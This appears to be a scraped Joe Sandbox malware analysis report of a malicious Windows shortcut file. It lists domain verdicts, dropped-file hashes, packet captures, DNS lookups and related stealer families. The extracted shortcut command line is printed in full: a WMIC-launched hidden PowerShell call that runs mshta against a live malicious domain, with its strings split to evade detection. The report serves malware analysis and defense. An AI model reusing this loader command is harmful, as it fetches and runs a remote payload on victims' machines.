| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| nextgencoding.cyou | 104.21.67.124 | true | true | unknown |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| true |
| unknown | |
| false |
| unknown | |
| false |
| unknown |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| true |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | unknown | |||
| false | unknown | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 104.21.67.124 | nextgencoding.cyou | United States | 13335 | CLOUDFLARENETUS | true |
| IP |
|---|
| 127.0.0.1 |
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1581246 |
| Start date and time: | 2024-12-27 09:02:50 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 4m 49s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 11 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | K9esyY0r4G.lnkrenamed because original name is a hash value |
| Original Sample Name: | ed0e0fc1ef780ad73eb559719a3621e1.lnk |
| Detection: | MAL |
| Classification: | mal88.evad.winLNK@9/12@1/2 |
| EGA Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis
(whitelisted): MpCmdRun.exe, W MIADAP.exe, SIHClient.exe, con host.exe - Excluded IPs from analysis (wh
itelisted): 23.218.208.109, 20 .12.23.50, 13.107.246.63 - Excluded domains from analysis
(whitelisted): fs.microsoft.c om, ocsp.digicert.com, slscr.u pdate.microsoft.com, otelrules .azureedge.net, e16604.g.akama iedge.net, ctldl.windowsupdate .com, prod.fs.microsoft.com.ak adns.net, fs-wildcard.microsof t.com.edgekey.net, fs-wildcard .microsoft.com.edgekey.net.glo balredir.akadns.net, fe3cr.del ivery.mp.microsoft.com - Execution Graph export aborted
for target mshta.exe, PID 794 4 because it is empty - Execution Graph export aborted
for target powershell.exe, PI D 7864 because it is empty - Not all processes where analyz
ed, report is missing behavior information - Report size getting too big, t
oo many NtOpenKeyEx calls foun d. - Report size getting too big, t
oo many NtProtectVirtualMemory calls found. - Report size getting too big, t
oo many NtQueryValueKey calls found. - Some HTTPS proxied raw data pa
ckets have been limited to 10 per session. Please view the P CAPs for the complete data.
| Time | Type | Description |
|---|---|---|
| 03:03:39 | API Interceptor | |
| 03:03:46 | API Interceptor | |
| 03:03:46 | API Interceptor |
⊘No context
⊘No context
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| CLOUDFLARENETUS | Get hash | malicious | LummaC | Browse |
| |
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | DanaBot | Browse |
| |
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | CredGrabber, Meduza Stealer | Browse |
| ||
| Get hash | malicious | CredGrabber, Meduza Stealer | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
|
⊘No context
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 1310720 |
| Entropy (8bit): | 1.3073446578123196 |
| Encrypted: | false |
| SSDEEP: | 3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvru:KooCEYhgYEL0In |
| MD5: | 7D23C15E7DA425E11D247CE5927C6D03 |
| SHA1: | 9B3960754948D59AF0F536265B06C2CE969255C6 |
| SHA-256: | B840B98414494DE29B85083BD8706B288B1F15B4C3F1B726388CE1DD3B49525D |
| SHA-512: | FCC698FDF8661E14F70C7CCB15036ADFB3589D800185ED2845370A4A0625F3114714F36FADE972C73673841F14E71E03D24D407157418FD02C10DA3D818F42F8 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 1310720 |
| Entropy (8bit): | 0.42207924562964805 |
| Encrypted: | false |
| SSDEEP: | 1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO |
| MD5: | E382A0D1A2FBE15C46A7A1E4CD0F14C2 |
| SHA1: | C35140E526EEDAB766D316411FEFD7A5595D601B |
| SHA-256: | A925123C00AF1E190554BDCA4F168374E81C7E45E64E07C1349B0A67EA0B8203 |
| SHA-512: | 33C2356248CEDE5FA59D6113B32532674A1CC3DCB466596FED4F9D9BD01B57EB375C16FE78267E43F2D467403F821F3E160A72DB2660EC0597CAEDF80472E7FD |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 16384 |
| Entropy (8bit): | 0.07413805066341175 |
| Encrypted: | false |
| SSDEEP: | 3:G3mll/lKYe9jZIl+luhajn13a/yt+3IlllllAllcVO/lnlZMxZNQl:ZltKz9lIllha53qyt+3Illl/AOewk |
| MD5: | BEFE8D1549E1A23D3D5EE58361D36D00 |
| SHA1: | A1CC281EE928EE209C867DB3145356EAAE549D11 |
| SHA-256: | 6D6FC9A02205549AA323A9E2A892B36A4E67848B2AC0C399AD1B661AA8776EFC |
| SHA-512: | FDE678E563D480DDAE6DC8E977C9EEDBB1ED9B5B5D2B8448A0C8127A4EF39D3C65A992CFB25C5DBAB9AE0638A2E506C5F213033FF997C26485D6942D25A260CD |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\mshta.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 24051 |
| Entropy (8bit): | 4.941039417164537 |
| Encrypted: | false |
| SSDEEP: | 192:VuR/6okgTQwq23gGM8lUR9YRGQ2BwoX6zp+1+nDT1FvxKSI7/UsV7MSE6XZ2dKzk:JwV+oUcoQJpdf1dxKSI7/Ue7ZX2qk |
| MD5: | 5E8C69A459A691B5D1B9BE442332C87D |
| SHA1: | F24DD1AD7C9080575D92A9A9A2C42620725EF836 |
| SHA-256: | 84E3C77025ACE5AF143972B4A40FC834DCDFD4E449D4B36A57E62326F16B3091 |
| SHA-512: | 6DB74B262D717916DE0B0B600EEAD2CC6A10E52A9E26D701FAE761FCBC931F35F251553669A92BE3B524F380F32E62AC6AD572BEA23C78965228CE9EFB92ED42 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\mshta.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 452 |
| Entropy (8bit): | 7.0936408308765495 |
| Encrypted: | false |
| SSDEEP: | 12:6v/7EljW8E6Cl2SYh8SZM4tf70FSDvMXDxJp6ScFChY9:U8hCl2SIdZBtAFSDUX/ozIhK |
| MD5: | C33DE66281E933259772399D10A6AFE8 |
| SHA1: | B9F9D500F8814381451011D4DCF59CD2D90AD94F |
| SHA-256: | F1591A5221136C49438642155691AE6C68E25B7241F3D7EBE975B09A77662016 |
| SHA-512: | 5834FB9D66F550E6CECFE484B7B6A14F3FCA795405DECE8E652BD69AD917B94B6BBDCDF7639161B9C07F0D33EABD3E79580446B5867219F72F4FC43FD43B98C3 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 64 |
| Entropy (8bit): | 0.773832331134527 |
| Encrypted: | false |
| SSDEEP: | 3:Nlllulet:NllUe |
| MD5: | C3BD7F493D570718B5F1870D88DF5D3B |
| SHA1: | A4A0D7CFF3C663AB0144144C578C243926600E5C |
| SHA-256: | 96DDC3E55B17140BE259812B00E7B566DC3B8F4E3ECB983EE0DE668D1969600F |
| SHA-512: | AD44555CBEBB536B32891DF4A03319728FFFF042ECCA33E6B97A0D2C0BF70D6961F2C1C7105D28F17D7536BEE8D45FBEE718D9B499DA9B2C53AC1F77F81B14CC |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 55 |
| Entropy (8bit): | 4.306461250274409 |
| Encrypted: | false |
| SSDEEP: | 3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y |
| MD5: | DCA83F08D448911A14C22EBCACC5AD57 |
| SHA1: | 91270525521B7FE0D986DB19747F47D34B6318AD |
| SHA-256: | 2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9 |
| SHA-512: | 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\wbem\WMIC.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 160 |
| Entropy (8bit): | 5.108203110114614 |
| Encrypted: | false |
| SSDEEP: | 3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MglTb0qJQAiveyzoa:Yw7gJGWMXJXKSOdYiygKkXe/egZdeAin |
| MD5: | 7F3AFEB99B0BAB41FB8ED0374686F10B |
| SHA1: | B68761E8687430915A6DB9156EF7C832BAC6BE5B |
| SHA-256: | F5D04A7463A9A35388AD2EC0B9E12075DFADB2F089E9FE6B84BAD6DA551F03EE |
| SHA-512: | 5028B6964FF51DDD40781C784E08D3200DB999D53A99276A91111A5C09D050C02858AABBEEC6A36A7AA85E9BEFF8CD088B1B5669D07AAD81468FB9967D7AD9C5 |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 1.0537404993285517 |
| TrID: |
|
| File name: | K9esyY0r4G.lnk |
| File size: | 5'836 bytes |
| MD5: | ed0e0fc1ef780ad73eb559719a3621e1 |
| SHA1: | a739f5a4cb67f3b8ea5b4b5d08e35c4a60f8bd8c |
| SHA256: | 6c8573069dadedd4fb861b3de01f94a87024f872fdd51652ad8959443851b333 |
| SHA512: | e098ad7a3de3134c0d38562a6bd5a829551fd7e5a8b7b6ba2c855ba9d5cdc41672f83ced949f9018e27a072bc07ab4072a97c968bbd5d005db093df64eceaf8b |
| SSDEEP: | 24:8lH/BUlgKN4ed+/31kWNdk6Zocdlg9qdd79dsrabxJlpl9l:8BuGeq1ldkUXddJ9AadrL9 |
| TLSH: | FAC13B042AF90B20F3B39F72547677148A7F7C5BEE738E1D008195881527A11E839FAB |
| File Content Preview: | L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B..................... |
 | |
| Icon Hash: | 929e9e96a3f3d6ed |
General | |
|---|---|
| Relative Path: | ..\..\..\Windows\System32\Wbem\wmic.exe |
| Command Line Argument: | process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://nextgencoding.cyou/asd/amber3')" |
| Icon location: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeDownload Network PCAP: filtered – full
- Total Packets: 53
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 27, 2024 09:03:43.318713903 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:43.318756104 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:43.318815947 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:43.328902960 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:43.328922987 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:44.592019081 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:44.592098951 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:44.938771963 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:44.938788891 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:44.939112902 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:44.939171076 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:44.943439960 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:44.987369061 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270714998 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270765066 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270783901 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.270791054 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270819902 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270831108 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.270878077 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.270884037 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270906925 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.270925045 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.270953894 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.273796082 CET | 49730 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.273806095 CET | 443 | 49730 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.279927969 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.279989004 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:45.280069113 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.280489922 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:45.280508995 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:46.583332062 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:46.583633900 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:46.584505081 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:46.584520102 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:46.584739923 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:46.584750891 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.037885904 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.037940979 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.037962914 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.037967920 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.038009882 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.038031101 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.038031101 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.038054943 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.038058996 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.038100958 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.046061993 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.046134949 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.046171904 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.046221018 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.054483891 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.054672003 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.054708958 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.054785013 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.062937975 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.063011885 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.063055038 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.063102007 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.157423019 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.157577038 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.161489964 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.161618948 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.248104095 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.248347998 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.251877069 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.251979113 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.252006054 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.252055883 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.259793997 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.259864092 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.262727022 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.262810946 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.262851954 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.262904882 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.262917995 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.262936115 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.262962103 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.262970924 CET | 443 | 49731 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.263008118 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.263008118 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.263008118 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.263032913 CET | 49731 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.340293884 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.340354919 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:47.340481043 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.340687990 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:47.340703011 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:48.597240925 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:48.597368002 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:48.597821951 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:48.597835064 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:48.598030090 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:48.598037004 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:49.090269089 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:49.090332985 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Dec 27, 2024 09:03:49.090369940 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:49.090389013 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:49.091542959 CET | 49732 | 443 | 192.168.2.4 | 104.21.67.124 |
| Dec 27, 2024 09:03:49.091559887 CET | 443 | 49732 | 104.21.67.124 | 192.168.2.4 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 27, 2024 09:03:42.879884958 CET | 60190 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 27, 2024 09:03:43.311978102 CET | 53 | 60190 | 1.1.1.1 | 192.168.2.4 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Dec 27, 2024 09:03:42.879884958 CET | 192.168.2.4 | 1.1.1.1 | 0x79bd | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Dec 27, 2024 09:03:43.311978102 CET | 1.1.1.1 | 192.168.2.4 | 0x79bd | No error (0) | 104.21.67.124 | A (IP address) | IN (0x0001) | false | ||
| Dec 27, 2024 09:03:43.311978102 CET | 1.1.1.1 | 192.168.2.4 | 0x79bd | No error (0) | 172.67.174.198 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49730 | 104.21.67.124 | 443 | 7944 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-27 08:03:44 UTC | 332 | OUT | |
| 2024-12-27 08:03:45 UTC | 562 | IN | |
| 2024-12-27 08:03:45 UTC | 807 | IN | |
| 2024-12-27 08:03:45 UTC | 1369 | IN | |
| 2024-12-27 08:03:45 UTC | 1369 | IN | |
| 2024-12-27 08:03:45 UTC | 1018 | IN | |
| 2024-12-27 08:03:45 UTC | 5 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49731 | 104.21.67.124 | 443 | 7944 | C:\Windows\System32\mshta.exe |
